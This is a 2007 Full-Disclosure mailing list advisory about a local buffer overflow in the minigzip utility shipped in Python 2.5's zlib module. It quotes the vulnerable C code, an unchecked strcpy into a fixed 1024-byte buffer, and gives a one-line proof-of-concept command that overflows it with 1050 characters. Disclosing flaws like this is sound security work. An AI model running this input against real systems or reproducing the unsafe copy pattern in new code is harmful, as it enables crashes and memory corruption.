[Full-disclosure] Python 2.5 (Modules/zlib) minigzip local buffer overflow vulnerability

starcadi starcadi starcadi at gmail.com
Wed Mar 14 15:50:52 GMT 2007


Description:

The source of python contain a various modules, the zlib module contain a
minigzip tool, ( * minigzip is a minimal implementation of the gzip utility.
).

Source error:

the error was found in:
- void file_compress(file, mode)
because the use of strcpy() is inapropriatly

--
#define MAX_NAME_LEN 1024
[..]
void file_compress(file, mode)
    char  *file;
    char  *mode;
{
    local char outfile[MAX_NAME_LEN];
    FILE  *in;
    gzFile out;

    strcpy(outfile, file);
    strcat(outfile, GZ_SUFFIX);
--

the function file_compress() was called by main() function.

Proof of concept:

if you want test the vulnerability try:
$ minigzip `perl -e "print 'A'x1050"`

-- starcadi
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